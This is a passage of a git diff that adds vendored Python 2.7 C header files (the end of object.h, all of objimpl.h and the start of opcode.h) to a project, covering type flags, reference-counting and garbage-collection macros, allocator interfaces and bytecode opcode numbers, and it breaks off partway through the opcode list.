Py_TPFLAGS_DEFAULT for their tp_flags value. + +Code can use PyType_HasFeature(type_ob, flag_value) to test whether the +given type object has a specified feature. + +NOTE: when building the core, Py_TPFLAGS_DEFAULT includes +Py_TPFLAGS_HAVE_VERSION_TAG; outside the core, it doesn't. This is so +that extensions that modify tp_dict of their own types directly don't +break, since this was allowed in 2.5. In 3.0 they will have to +manually remove this flag though! +*/ + +/* PyBufferProcs contains bf_getcharbuffer */ +#define Py_TPFLAGS_HAVE_GETCHARBUFFER (1L<<0) + +/* PySequenceMethods contains sq_contains */ +#define Py_TPFLAGS_HAVE_SEQUENCE_IN (1L<<1) + +/* This is here for backwards compatibility. Extensions that use the old GC + * API will still compile but the objects will not be tracked by the GC. */ +#define Py_TPFLAGS_GC 0 /* used to be (1L<<2) */ + +/* PySequenceMethods and PyNumberMethods contain in-place operators */ +#define Py_TPFLAGS_HAVE_INPLACEOPS (1L<<3) + +/* PyNumberMethods do their own coercion */ +#define Py_TPFLAGS_CHECKTYPES (1L<<4) + +/* tp_richcompare is defined */ +#define Py_TPFLAGS_HAVE_RICHCOMPARE (1L<<5) + +/* Objects which are weakly referencable if their tp_weaklistoffset is >0 */ +#define Py_TPFLAGS_HAVE_WEAKREFS (1L<<6) + +/* tp_iter is defined */ +#define Py_TPFLAGS_HAVE_ITER (1L<<7) + +/* New members introduced by Python 2.2 exist */ +#define Py_TPFLAGS_HAVE_CLASS (1L<<8) + +/* Set if the type object is dynamically allocated */ +#define Py_TPFLAGS_HEAPTYPE (1L<<9) + +/* Set if the type allows subclassing */ +#define Py_TPFLAGS_BASETYPE (1L<<10) + +/* Set if the type is 'ready' -- fully initialized */ +#define Py_TPFLAGS_READY (1L<<12) + +/* Set while the type is being 'readied', to prevent recursive ready calls */ +#define Py_TPFLAGS_READYING (1L<<13) + +/* Objects support garbage collection (see objimp.h) */ +#define Py_TPFLAGS_HAVE_GC (1L<<14) + +/* These two bits are preserved for Stackless Python, next after this is 17 */ +#ifdef STACKLESS +#define Py_TPFLAGS_HAVE_STACKLESS_EXTENSION (3L<<15) +#else +#define Py_TPFLAGS_HAVE_STACKLESS_EXTENSION 0 +#endif + +/* Objects support nb_index in PyNumberMethods */ +#define Py_TPFLAGS_HAVE_INDEX (1L<<17) + +/* Objects support type attribute cache */ +#define Py_TPFLAGS_HAVE_VERSION_TAG (1L<<18) +#define Py_TPFLAGS_VALID_VERSION_TAG (1L<<19) + +/* Type is abstract and cannot be instantiated */ +#define Py_TPFLAGS_IS_ABSTRACT (1L<<20) + +/* Has the new buffer protocol */ +#define Py_TPFLAGS_HAVE_NEWBUFFER (1L<<21) + +/* These flags are used to determine if a type is a subclass. */ +#define Py_TPFLAGS_INT_SUBCLASS (1L<<23) +#define Py_TPFLAGS_LONG_SUBCLASS (1L<<24) +#define Py_TPFLAGS_LIST_SUBCLASS (1L<<25) +#define Py_TPFLAGS_TUPLE_SUBCLASS (1L<<26) +#define Py_TPFLAGS_STRING_SUBCLASS (1L<<27) +#define Py_TPFLAGS_UNICODE_SUBCLASS (1L<<28) +#define Py_TPFLAGS_DICT_SUBCLASS (1L<<29) +#define Py_TPFLAGS_BASE_EXC_SUBCLASS (1L<<30) +#define Py_TPFLAGS_TYPE_SUBCLASS (1L<<31) + +#define Py_TPFLAGS_DEFAULT_EXTERNAL ( \ + Py_TPFLAGS_HAVE_GETCHARBUFFER | \ + Py_TPFLAGS_HAVE_SEQUENCE_IN | \ + Py_TPFLAGS_HAVE_INPLACEOPS | \ + Py_TPFLAGS_HAVE_RICHCOMPARE | \ + Py_TPFLAGS_HAVE_WEAKREFS | \ + Py_TPFLAGS_HAVE_ITER | \ + Py_TPFLAGS_HAVE_CLASS | \ + Py_TPFLAGS_HAVE_STACKLESS_EXTENSION | \ + Py_TPFLAGS_HAVE_INDEX | \ + 0) +#define Py_TPFLAGS_DEFAULT_CORE (Py_TPFLAGS_DEFAULT_EXTERNAL | \ + Py_TPFLAGS_HAVE_VERSION_TAG) + +#ifdef Py_BUILD_CORE +#define Py_TPFLAGS_DEFAULT Py_TPFLAGS_DEFAULT_CORE +#else +#define Py_TPFLAGS_DEFAULT Py_TPFLAGS_DEFAULT_EXTERNAL +#endif + +#define PyType_HasFeature(t,f) (((t)->tp_flags & (f)) != 0) +#define PyType_FastSubclass(t,f) PyType_HasFeature(t,f) + + +/* +The macros Py_INCREF(op) and Py_DECREF(op) are used to increment or decrement +reference counts. Py_DECREF calls the object's deallocator function when +the refcount falls to 0; for +objects that don't contain references to other objects or heap memory +this can be the standard function free(). Both macros can be used +wherever a void expression is allowed. The argument must not be a +NULL pointer. If it may be NULL, use Py_XINCREF/Py_XDECREF instead. +The macro _Py_NewReference(op) initialize reference counts to 1, and +in special builds (Py_REF_DEBUG, Py_TRACE_REFS) performs additional +bookkeeping appropriate to the special build. + +We assume that the reference count field can never overflow; this can +be proven when the size of the field is the same as the pointer size, so +we ignore the possibility. Provided a C int is at least 32 bits (which +is implicitly assumed in many parts of this code), that's enough for +about 2**31 references to an object. + +XXX The following became out of date in Python 2.2, but I'm not sure +XXX what the full truth is now. Certainly, heap-allocated type objects +XXX can and should be deallocated. +Type objects should never be deallocated; the type pointer in an object +is not considered to be a reference to the type object, to save +complications in the deallocation function. (This is actually a +decision that's up to the implementer of each new type so if you want, +you can count such references to the type object.) + +*** WARNING*** The Py_DECREF macro must have a side-effect-free argument +since it may evaluate its argument multiple times. (The alternative +would be to mace it a proper function or assign it to a global temporary +variable first, both of which are slower; and in a multi-threaded +environment the global variable trick is not safe.) +*/ + +/* First define a pile of simple helper macros, one set per special + * build symbol. These either expand to the obvious things, or to + * nothing at all when the special mode isn't in effect. The main + * macros can later be defined just once then, yet expand to different + * things depending on which special build options are and aren't in effect. + * Trust me : while painful, this is 20x easier to understand than, + * e.g, defining _Py_NewReference five different times in a maze of nested + * #ifdefs (we used to do that -- it was impenetrable). + */ +#ifdef Py_REF_DEBUG +PyAPI_DATA(Py_ssize_t) _Py_RefTotal; +PyAPI_FUNC(void) _Py_NegativeRefcount(const char *fname, + int lineno, PyObject *op); +PyAPI_FUNC(PyObject *) _PyDict_Dummy(void); +PyAPI_FUNC(PyObject *) _PySet_Dummy(void); +PyAPI_FUNC(Py_ssize_t) _Py_GetRefTotal(void); +#define _Py_INC_REFTOTAL _Py_RefTotal++ +#define _Py_DEC_REFTOTAL _Py_RefTotal-- +#define _Py_REF_DEBUG_COMMA , +#define _Py_CHECK_REFCNT(OP) \ +{ if (((PyObject*)OP)->ob_refcnt < 0) \ + _Py_NegativeRefcount(__FILE__, __LINE__, \ + (PyObject *)(OP)); \ +} +#else +#define _Py_INC_REFTOTAL +#define _Py_DEC_REFTOTAL +#define _Py_REF_DEBUG_COMMA +#define _Py_CHECK_REFCNT(OP) /* a semicolon */; +#endif /* Py_REF_DEBUG */ + +#ifdef COUNT_ALLOCS +PyAPI_FUNC(void) inc_count(PyTypeObject *); +PyAPI_FUNC(void) dec_count(PyTypeObject *); +#define _Py_INC_TPALLOCS(OP) inc_count(Py_TYPE(OP)) +#define _Py_INC_TPFREES(OP) dec_count(Py_TYPE(OP)) +#define _Py_DEC_TPFREES(OP) Py_TYPE(OP)->tp_frees-- +#define _Py_COUNT_ALLOCS_COMMA , +#else +#define _Py_INC_TPALLOCS(OP) +#define _Py_INC_TPFREES(OP) +#define _Py_DEC_TPFREES(OP) +#define _Py_COUNT_ALLOCS_COMMA +#endif /* COUNT_ALLOCS */ + +#ifdef Py_TRACE_REFS +/* Py_TRACE_REFS is such major surgery that we call external routines. */ +PyAPI_FUNC(void) _Py_NewReference(PyObject *); +PyAPI_FUNC(void) _Py_ForgetReference(PyObject *); +PyAPI_FUNC(void) _Py_Dealloc(PyObject *); +PyAPI_FUNC(void) _Py_PrintReferences(FILE *); +PyAPI_FUNC(void) _Py_PrintReferenceAddresses(FILE *); +PyAPI_FUNC(void) _Py_AddToAllObjects(PyObject *, int force); + +#else +/* Without Py_TRACE_REFS, there's little enough to do that we expand code + * inline. + */ +#define _Py_NewReference(op) ( \ + _Py_INC_TPALLOCS(op) _Py_COUNT_ALLOCS_COMMA \ + _Py_INC_REFTOTAL _Py_REF_DEBUG_COMMA \ + Py_REFCNT(op) = 1) + +#define _Py_ForgetReference(op) _Py_INC_TPFREES(op) + +#define _Py_Dealloc(op) ( \ + _Py_INC_TPFREES(op) _Py_COUNT_ALLOCS_COMMA \ + (*Py_TYPE(op)->tp_dealloc)((PyObject *)(op))) +#endif /* !Py_TRACE_REFS */ + +#define Py_INCREF(op) ( \ + _Py_INC_REFTOTAL _Py_REF_DEBUG_COMMA \ + ((PyObject*)(op))->ob_refcnt++) + +#define Py_DECREF(op) \ + do { \ + if (_Py_DEC_REFTOTAL _Py_REF_DEBUG_COMMA \ + --((PyObject*)(op))->ob_refcnt != 0) \ + _Py_CHECK_REFCNT(op) \ + else \ + _Py_Dealloc((PyObject *)(op)); \ + } while (0) + +/* Safely decref `op` and set `op` to NULL, especially useful in tp_clear + * and tp_dealloc implementatons. + * + * Note that "the obvious" code can be deadly: + * + * Py_XDECREF(op); + * op = NULL; + * + * Typically, `op` is something like self->containee, and `self` is done + * using its `containee` member. In the code sequence above, suppose + * `containee` is non-NULL with a refcount of 1. Its refcount falls to + * 0 on the first line, which can trigger an arbitrary amount of code, + * possibly including finalizers (like __del__ methods or weakref callbacks) + * coded in Python, which in turn can release the GIL and allow other threads + * to run, etc. Such code may even invoke methods of `self` again, or cause + * cyclic gc to trigger, but-- oops! --self->containee still points to the + * object being torn down, and it may be in an insane state while being torn + * down. This has in fact been a rich historic source of miserable (rare & + * hard-to-diagnose) segfaulting (and other) bugs. + * + * The safe way is: + * + * Py_CLEAR(op); + * + * That arranges to set `op` to NULL _before_ decref'ing, so that any code + * triggered as a side-effect of `op` getting torn down no longer believes + * `op` points to a valid object. + * + * There are cases where it's safe to use the naive code, but they're brittle. + * For example, if `op` points to a Python integer, you know that destroying + * one of those can't cause problems -- but in part that relies on that + * Python integers aren't currently weakly referencable. Best practice is + * to use Py_CLEAR() even if you can't think of a reason for why you need to. + */ +#define Py_CLEAR(op) \ + do { \ + if (op) { \ + PyObject *_py_tmp = (PyObject *)(op); \ + (op) = NULL; \ + Py_DECREF(_py_tmp); \ + } \ + } while (0) + +/* Macros to use in case the object pointer may be NULL: */ +#define Py_XINCREF(op) do { if ((op) == NULL) ; else Py_INCREF(op); } while (0) +#define Py_XDECREF(op) do { if ((op) == NULL) ; else Py_DECREF(op); } while (0) + +/* +These are provided as conveniences to Python runtime embedders, so that +they can have object code that is not dependent on Python compilation flags. +*/ +PyAPI_FUNC(void) Py_IncRef(PyObject *); +PyAPI_FUNC(void) Py_DecRef(PyObject *); + +/* +_Py_NoneStruct is an object of undefined type which can be used in contexts +where NULL (nil) is not suitable (since NULL often means 'error'). + +Don't forget to apply Py_INCREF() when returning this value!!! +*/ +PyAPI_DATA(PyObject) _Py_NoneStruct; /* Don't use this directly */ +#define Py_None (&_Py_NoneStruct) + +/* Macro for returning Py_None from a function */ +#define Py_RETURN_NONE return Py_INCREF(Py_None), Py_None + +/* +Py_NotImplemented is a singleton used to signal that an operation is +not implemented for a given type combination. +*/ +PyAPI_DATA(PyObject) _Py_NotImplementedStruct; /* Don't use this directly */ +#define Py_NotImplemented (&_Py_NotImplementedStruct) + +/* Rich comparison opcodes */ +#define Py_LT 0 +#define Py_LE 1 +#define Py_EQ 2 +#define Py_NE 3 +#define Py_GT 4 +#define Py_GE 5 + +/* Maps Py_LT to Py_GT, ..., Py_GE to Py_LE. + * Defined in object.c. + */ +PyAPI_DATA(int) _Py_SwappedOp[]; + +/* +Define staticforward and statichere for source compatibility with old +C extensions. + +The staticforward define was needed to support certain broken C +compilers (notably SCO ODT 3.0, perhaps early AIX as well) botched the +static keyword when it was used with a forward declaration of a static +initialized structure. Standard C allows the forward declaration with +static, and we've decided to stop catering to broken C compilers. +(In fact, we expect that the compilers are all fixed eight years later.) +*/ + +#define staticforward static +#define statichere static + + +/* +More conventions +================ + +Argument Checking +----------------- + +Functions that take objects as arguments normally don't check for nil +arguments, but they do check the type of the argument, and return an +error if the function doesn't apply to the type. + +Failure Modes +------------- + +Functions may fail for a variety of reasons, including running out of +memory. This is communicated to the caller in two ways: an error string +is set (see errors.h), and the function result differs: functions that +normally return a pointer return NULL for failure, functions returning +an integer return -1 (which could be a legal return value too!), and +other functions return 0 for success and -1 for failure. +Callers should always check for errors before using the result. If +an error was set, the caller must either explicitly clear it, or pass +the error on to its caller. + +Reference Counts +---------------- + +It takes a while to get used to the proper usage of reference counts. + +Functions that create an object set the reference count to 1; such new +objects must be stored somewhere or destroyed again with Py_DECREF(). +Some functions that 'store' objects, such as PyTuple_SetItem() and +PyList_SetItem(), +don't increment the reference count of the object, since the most +frequent use is to store a fresh object. Functions that 'retrieve' +objects, such as PyTuple_GetItem() and PyDict_GetItemString(), also +don't increment +the reference count, since most frequently the object is only looked at +quickly. Thus, to retrieve an object and store it again, the caller +must call Py_INCREF() explicitly. + +NOTE: functions that 'consume' a reference count, like +PyList_SetItem(), consume the reference even if the object wasn't +successfully stored, to simplify error handling. + +It seems attractive to make other functions that take an object as +argument consume a reference count; however, this may quickly get +confusing (even the current practice is already confusing). Consider +it carefully, it may save lots of calls to Py_INCREF() and Py_DECREF() at +times. +*/ + + +/* Trashcan mechanism, thanks to Christian Tismer. + +When deallocating a container object, it's possible to trigger an unbounded +chain of deallocations, as each Py_DECREF in turn drops the refcount on "the +next" object in the chain to 0. This can easily lead to stack faults, and +especially in threads (which typically have less stack space to work with). + +A container object that participates in cyclic gc can avoid this by +bracketing the body of its tp_dealloc function with a pair of macros: + +static void +mytype_dealloc(mytype *p) +{ + ... declarations go here ... + + PyObject_GC_UnTrack(p); // must untrack first + Py_TRASHCAN_SAFE_BEGIN(p) + ... The body of the deallocator goes here, including all calls ... + ... to Py_DECREF on contained objects. ... + Py_TRASHCAN_SAFE_END(p) +} + +CAUTION: Never return from the middle of the body! If the body needs to +"get out early", put a label immediately before the Py_TRASHCAN_SAFE_END +call, and goto it. Else the call-depth counter (see below) will stay +above 0 forever, and the trashcan will never get emptied. + +How it works: The BEGIN macro increments a call-depth counter. So long +as this counter is small, the body of the deallocator is run directly without +further ado. But if the counter gets large, it instead adds p to a list of +objects to be deallocated later, skips the body of the deallocator, and +resumes execution after the END macro. The tp_dealloc routine then returns +without deallocating anything (and so unbounded call-stack depth is avoided). + +When the call stack finishes unwinding again, code generated by the END macro +notices this, and calls another routine to deallocate all the objects that +may have been added to the list of deferred deallocations. In effect, a +chain of N deallocations is broken into N / PyTrash_UNWIND_LEVEL pieces, +with the call stack never exceeding a depth of PyTrash_UNWIND_LEVEL. +*/ + +PyAPI_FUNC(void) _PyTrash_deposit_object(PyObject*); +PyAPI_FUNC(void) _PyTrash_destroy_chain(void); +PyAPI_DATA(int) _PyTrash_delete_nesting; +PyAPI_DATA(PyObject *) _PyTrash_delete_later; + +#define PyTrash_UNWIND_LEVEL 50 + +#define Py_TRASHCAN_SAFE_BEGIN(op) \ + if (_PyTrash_delete_nesting < PyTrash_UNWIND_LEVEL) { \ + ++_PyTrash_delete_nesting; + /* The body of the deallocator is here. */ +#define Py_TRASHCAN_SAFE_END(op) \ + --_PyTrash_delete_nesting; \ + if (_PyTrash_delete_later && _PyTrash_delete_nesting <= 0) \ + _PyTrash_destroy_chain(); \ + } \ + else \ + _PyTrash_deposit_object((PyObject*)op); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_OBJECT_H */ diff --git a/Extern/include/Python27/objimpl.h b/Extern/include/Python27/objimpl.h new file mode 100644 index 0000000..55e83ec --- /dev/null +++ b/Extern/include/Python27/objimpl.h @@ -0,0 +1,354 @@ +/* The PyObject_ memory family: high-level object memory interfaces. + See pymem.h for the low-level PyMem_ family. +*/ + +#ifndef Py_OBJIMPL_H +#define Py_OBJIMPL_H + +#include "pymem.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* BEWARE: + + Each interface exports both functions and macros. Extension modules should + use the functions, to ensure binary compatibility across Python versions. + Because the Python implementation is free to change internal details, and + the macros may (or may not) expose details for speed, if you do use the + macros you must recompile your extensions with each Python release. + + Never mix calls to PyObject_ memory functions with calls to the platform + malloc/realloc/ calloc/free, or with calls to PyMem_. +*/ + +/* +Functions and macros for modules that implement new object types. + + - PyObject_New(type, typeobj) allocates memory for a new object of the given + type, and initializes part of it. 'type' must be the C structure type used + to represent the object, and 'typeobj' the address of the corresponding + type object. Reference count and type pointer are filled in; the rest of + the bytes of the object are *undefined*! The resulting expression type is + 'type *'. The size of the object is determined by the tp_basicsize field + of the type object. + + - PyObject_NewVar(type, typeobj, n) is similar but allocates a variable-size + object with room for n items. In addition to the refcount and type pointer + fields, this also fills in the ob_size field. + + - PyObject_Del(op) releases the memory allocated for an object. It does not + run a destructor -- it only frees the memory. PyObject_Free is identical. + + - PyObject_Init(op, typeobj) and PyObject_InitVar(op, typeobj, n) don't + allocate memory. Instead of a 'type' parameter, they take a pointer to a + new object (allocated by an arbitrary allocator), and initialize its object + header fields. + +Note that objects created with PyObject_{New, NewVar} are allocated using the +specialized Python allocator (implemented in obmalloc.c), if WITH_PYMALLOC is +enabled. In addition, a special debugging allocator is used if PYMALLOC_DEBUG +is also #defined. + +In case a specific form of memory management is needed (for example, if you +must use the platform malloc heap(s), or shared memory, or C++ local storage or +operator new), you must first allocate the object with your custom allocator, +then pass its pointer to PyObject_{Init, InitVar} for filling in its Python- +specific fields: reference count, type pointer, possibly others. You should +be aware that Python no control over these objects because they don't +cooperate with the Python memory manager. Such objects may not be eligible +for automatic garbage collection and you have to make sure that they are +released accordingly whenever their destructor gets called (cf. the specific +form of memory management you're using). + +Unless you have specific memory management requirements, use +PyObject_{New, NewVar, Del}. +*/ + +/* + * Raw object memory interface + * =========================== + */ + +/* Functions to call the same malloc/realloc/free as used by Python's + object allocator. If WITH_PYMALLOC is enabled, these may differ from + the platform malloc/realloc/free. The Python object allocator is + designed for fast, cache-conscious allocation of many "small" objects, + and with low hidden memory overhead. + + PyObject_Malloc(0) returns a unique non-NULL pointer if possible. + + PyObject_Realloc(NULL, n) acts like PyObject_Malloc(n). + PyObject_Realloc(p != NULL, 0) does not return NULL, or free the memory + at p. + + Returned pointers must be checked for NULL explicitly; no action is + performed on failure other than to return NULL (no warning it printed, no + exception is set, etc). + + For allocating objects, use PyObject_{New, NewVar} instead whenever + possible. The PyObject_{Malloc, Realloc, Free} family is exposed + so that you can exploit Python's small-block allocator for non-object + uses. If you must use these routines to allocate object memory, make sure + the object gets initialized via PyObject_{Init, InitVar} after obtaining + the raw memory. +*/ +PyAPI_FUNC(void *) PyObject_Malloc(size_t); +PyAPI_FUNC(void *) PyObject_Realloc(void *, size_t); +PyAPI_FUNC(void) PyObject_Free(void *); + + +/* Macros */ +#ifdef WITH_PYMALLOC +#ifdef PYMALLOC_DEBUG /* WITH_PYMALLOC && PYMALLOC_DEBUG */ +PyAPI_FUNC(void *) _PyObject_DebugMalloc(size_t nbytes); +PyAPI_FUNC(void *) _PyObject_DebugRealloc(void *p, size_t nbytes); +PyAPI_FUNC(void) _PyObject_DebugFree(void *p); +PyAPI_FUNC(void) _PyObject_DebugDumpAddress(const void *p); +PyAPI_FUNC(void) _PyObject_DebugCheckAddress(const void *p); +PyAPI_FUNC(void) _PyObject_DebugMallocStats(void); +PyAPI_FUNC(void *) _PyObject_DebugMallocApi(char api, size_t nbytes); +PyAPI_FUNC(void *) _PyObject_DebugReallocApi(char api, void *p, size_t nbytes); +PyAPI_FUNC(void) _PyObject_DebugFreeApi(char api, void *p); +PyAPI_FUNC(void) _PyObject_DebugCheckAddressApi(char api, const void *p); +PyAPI_FUNC(void *) _PyMem_DebugMalloc(size_t nbytes); +PyAPI_FUNC(void *) _PyMem_DebugRealloc(void *p, size_t nbytes); +PyAPI_FUNC(void) _PyMem_DebugFree(void *p); +#define PyObject_MALLOC _PyObject_DebugMalloc +#define PyObject_Malloc _PyObject_DebugMalloc +#define PyObject_REALLOC _PyObject_DebugRealloc +#define PyObject_Realloc _PyObject_DebugRealloc +#define PyObject_FREE _PyObject_DebugFree +#define PyObject_Free _PyObject_DebugFree + +#else /* WITH_PYMALLOC && ! PYMALLOC_DEBUG */ +#define PyObject_MALLOC PyObject_Malloc +#define PyObject_REALLOC PyObject_Realloc +#define PyObject_FREE PyObject_Free +#endif + +#else /* ! WITH_PYMALLOC */ +#define PyObject_MALLOC PyMem_MALLOC +#define PyObject_REALLOC PyMem_REALLOC +#define PyObject_FREE PyMem_FREE + +#endif /* WITH_PYMALLOC */ + +#define PyObject_Del PyObject_Free +#define PyObject_DEL PyObject_FREE + +/* for source compatibility with 2.2 */ +#define _PyObject_Del PyObject_Free + +/* + * Generic object allocator interface + * ================================== + */ + +/* Functions */ +PyAPI_FUNC(PyObject *) PyObject_Init(PyObject *, PyTypeObject *); +PyAPI_FUNC(PyVarObject *) PyObject_InitVar(PyVarObject *, + PyTypeObject *, Py_ssize_t); +PyAPI_FUNC(PyObject *) _PyObject_New(PyTypeObject *); +PyAPI_FUNC(PyVarObject *) _PyObject_NewVar(PyTypeObject *, Py_ssize_t); + +#define PyObject_New(type, typeobj) \ + ( (type *) _PyObject_New(typeobj) ) +#define PyObject_NewVar(type, typeobj, n) \ + ( (type *) _PyObject_NewVar((typeobj), (n)) ) + +/* Macros trading binary compatibility for speed. See also pymem.h. + Note that these macros expect non-NULL object pointers.*/ +#define PyObject_INIT(op, typeobj) \ + ( Py_TYPE(op) = (typeobj), _Py_NewReference((PyObject *)(op)), (op) ) +#define PyObject_INIT_VAR(op, typeobj, size) \ + ( Py_SIZE(op) = (size), PyObject_INIT((op), (typeobj)) ) + +#define _PyObject_SIZE(typeobj) ( (typeobj)->tp_basicsize ) + +/* _PyObject_VAR_SIZE returns the number of bytes (as size_t) allocated for a + vrbl-size object with nitems items, exclusive of gc overhead (if any). The + value is rounded up to the closest multiple of sizeof(void *), in order to + ensure that pointer fields at the end of the object are correctly aligned + for the platform (this is of special importance for subclasses of, e.g., + str or long, so that pointers can be stored after the embedded data). + + Note that there's no memory wastage in doing this, as malloc has to + return (at worst) pointer-aligned memory anyway. +*/ +#if ((SIZEOF_VOID_P - 1) & SIZEOF_VOID_P) != 0 +# error "_PyObject_VAR_SIZE requires SIZEOF_VOID_P be a power of 2" +#endif + +#define _PyObject_VAR_SIZE(typeobj, nitems) \ + (size_t) \ + ( ( (typeobj)->tp_basicsize + \ + (nitems)*(typeobj)->tp_itemsize + \ + (SIZEOF_VOID_P - 1) \ + ) & ~(SIZEOF_VOID_P - 1) \ + ) + +#define PyObject_NEW(type, typeobj) \ +( (type *) PyObject_Init( \ + (PyObject *) PyObject_MALLOC( _PyObject_SIZE(typeobj) ), (typeobj)) ) + +#define PyObject_NEW_VAR(type, typeobj, n) \ +( (type *) PyObject_InitVar( \ + (PyVarObject *) PyObject_MALLOC(_PyObject_VAR_SIZE((typeobj),(n)) ),\ + (typeobj), (n)) ) + +/* This example code implements an object constructor with a custom + allocator, where PyObject_New is inlined, and shows the important + distinction between two steps (at least): + 1) the actual allocation of the object storage; + 2) the initialization of the Python specific fields + in this storage with PyObject_{Init, InitVar}. + + PyObject * + YourObject_New(...) + { + PyObject *op; + + op = (PyObject *) Your_Allocator(_PyObject_SIZE(YourTypeStruct)); + if (op == NULL) + return PyErr_NoMemory(); + + PyObject_Init(op, &YourTypeStruct); + + op->ob_field = value; + ... + return op; + } + + Note that in C++, the use of the new operator usually implies that + the 1st step is performed automatically for you, so in a C++ class + constructor you would start directly with PyObject_Init/InitVar +*/ + +/* + * Garbage Collection Support + * ========================== + */ + +/* C equivalent of gc.collect(). */ +PyAPI_FUNC(Py_ssize_t) PyGC_Collect(void); + +/* Test if a type has a GC head */ +#define PyType_IS_GC(t) PyType_HasFeature((t), Py_TPFLAGS_HAVE_GC) + +/* Test if an object has a GC head */ +#define PyObject_IS_GC(o) (PyType_IS_GC(Py_TYPE(o)) && \ + (Py_TYPE(o)->tp_is_gc == NULL || Py_TYPE(o)->tp_is_gc(o))) + +PyAPI_FUNC(PyVarObject *) _PyObject_GC_Resize(PyVarObject *, Py_ssize_t); +#define PyObject_GC_Resize(type, op, n) \ + ( (type *) _PyObject_GC_Resize((PyVarObject *)(op), (n)) ) + +/* for source compatibility with 2.2 */ +#define _PyObject_GC_Del PyObject_GC_Del + +/* GC information is stored BEFORE the object structure. */ +typedef union _gc_head { + struct { + union _gc_head *gc_next; + union _gc_head *gc_prev; + Py_ssize_t gc_refs; + } gc; + long double dummy; /* force worst-case alignment */ +} PyGC_Head; + +extern PyGC_Head *_PyGC_generation0; + +#define _Py_AS_GC(o) ((PyGC_Head *)(o)-1) + +#define _PyGC_REFS_UNTRACKED (-2) +#define _PyGC_REFS_REACHABLE (-3) +#define _PyGC_REFS_TENTATIVELY_UNREACHABLE (-4) + +/* Tell the GC to track this object. NB: While the object is tracked the + * collector it must be safe to call the ob_traverse method. */ +#define _PyObject_GC_TRACK(o) do { \ + PyGC_Head *g = _Py_AS_GC(o); \ + if (g->gc.gc_refs != _PyGC_REFS_UNTRACKED) \ + Py_FatalError("GC object already tracked"); \ + g->gc.gc_refs = _PyGC_REFS_REACHABLE; \ + g->gc.gc_next = _PyGC_generation0; \ + g->gc.gc_prev = _PyGC_generation0->gc.gc_prev; \ + g->gc.gc_prev->gc.gc_next = g; \ + _PyGC_generation0->gc.gc_prev = g; \ + } while (0); + +/* Tell the GC to stop tracking this object. + * gc_next doesn't need to be set to NULL, but doing so is a good + * way to provoke memory errors if calling code is confused. + */ +#define _PyObject_GC_UNTRACK(o) do { \ + PyGC_Head *g = _Py_AS_GC(o); \ + assert(g->gc.gc_refs != _PyGC_REFS_UNTRACKED); \ + g->gc.gc_refs = _PyGC_REFS_UNTRACKED; \ + g->gc.gc_prev->gc.gc_next = g->gc.gc_next; \ + g->gc.gc_next->gc.gc_prev = g->gc.gc_prev; \ + g->gc.gc_next = NULL; \ + } while (0); + +/* True if the object is currently tracked by the GC. */ +#define _PyObject_GC_IS_TRACKED(o) \ + ((_Py_AS_GC(o))->gc.gc_refs != _PyGC_REFS_UNTRACKED) + +/* True if the object may be tracked by the GC in the future, or already is. + This can be useful to implement some optimizations. */ +#define _PyObject_GC_MAY_BE_TRACKED(obj) \ + (PyObject_IS_GC(obj) && \ + (!PyTuple_CheckExact(obj) || _PyObject_GC_IS_TRACKED(obj))) + + +PyAPI_FUNC(PyObject *) _PyObject_GC_Malloc(size_t); +PyAPI_FUNC(PyObject *) _PyObject_GC_New(PyTypeObject *); +PyAPI_FUNC(PyVarObject *) _PyObject_GC_NewVar(PyTypeObject *, Py_ssize_t); +PyAPI_FUNC(void) PyObject_GC_Track(void *); +PyAPI_FUNC(void) PyObject_GC_UnTrack(void *); +PyAPI_FUNC(void) PyObject_GC_Del(void *); + +#define PyObject_GC_New(type, typeobj) \ + ( (type *) _PyObject_GC_New(typeobj) ) +#define PyObject_GC_NewVar(type, typeobj, n) \ + ( (type *) _PyObject_GC_NewVar((typeobj), (n)) ) + + +/* Utility macro to help write tp_traverse functions. + * To use this macro, the tp_traverse function must name its arguments + * "visit" and "arg". This is intended to keep tp_traverse functions + * looking as much alike as possible. + */ +#define Py_VISIT(op) \ + do { \ + if (op) { \ + int vret = visit((PyObject *)(op), arg); \ + if (vret) \ + return vret; \ + } \ + } while (0) + +/* This is here for the sake of backwards compatibility. Extensions that + * use the old GC API will still compile but the objects will not be + * tracked by the GC. */ +#define PyGC_HEAD_SIZE 0 +#define PyObject_GC_Init(op) +#define PyObject_GC_Fini(op) +#define PyObject_AS_GC(op) (op) +#define PyObject_FROM_GC(op) (op) + + +/* Test if a type supports weak references */ +#define PyType_SUPPORTS_WEAKREFS(t) \ + (PyType_HasFeature((t), Py_TPFLAGS_HAVE_WEAKREFS) \ + && ((t)->tp_weaklistoffset > 0)) + +#define PyObject_GET_WEAKREFS_LISTPTR(o) \ + ((PyObject **) (((char *) (o)) + Py_TYPE(o)->tp_weaklistoffset)) + +#ifdef __cplusplus +} +#endif +#endif /* !Py_OBJIMPL_H */ diff --git a/Extern/include/Python27/opcode.h b/Extern/include/Python27/opcode.h new file mode 100644 index 0000000..9764109 --- /dev/null +++ b/Extern/include/Python27/opcode.h @@ -0,0 +1,162 @@ +#ifndef Py_OPCODE_H +#define Py_OPCODE_H +#ifdef __cplusplus +extern "C" { +#endif + + +/* Instruction opcodes for compiled code */ + +#define STOP_CODE 0 +#define POP_TOP 1 +#define ROT_TWO 2 +#define ROT_THREE 3 +#define DUP_TOP 4 +#define ROT_FOUR 5 +#define NOP 9 + +#define UNARY_POSITIVE 10 +#define UNARY_NEGATIVE 11 +#define UNARY_NOT 12 +#define UNARY_CONVERT 13 + +#define UNARY_INVERT 15 + +#define BINARY_POWER 19 + +#define BINARY_MULTIPLY 20 +#define BINARY_DIVIDE 21 +#define BINARY_MODULO 22 +#define BINARY_ADD 23 +#define BINARY_SUBTRACT 24 +#define BINARY_SUBSCR 25 +#define BINARY_FLOOR_DIVIDE 26 +#define BINARY_TRUE_DIVIDE 27 +#define INPLACE_FLOOR_DIVIDE 28 +#define INPLACE_TRUE_DIVIDE 29 + +#define SLICE 30 +/* Also uses 31-33 */ + +#define STORE_SLICE 40 +/* Also uses 41-43 */ + +#define DELETE_SLICE 50 +/* Also uses 51-53 */ + +#define STORE_MAP 54 +#define INPLACE_ADD 55 +#define INPLACE_SUBTRACT 56 +#define INPLACE_MULTIPLY 57 +#define INPLACE_DIVIDE 58 +#define INPLACE_MODULO 59 +#define STORE_SUBSCR 60 +#define DELETE_SUBSCR 61 + +#define BINARY_LSHIFT 62 +#define BINARY_RSHIFT 63 +#define 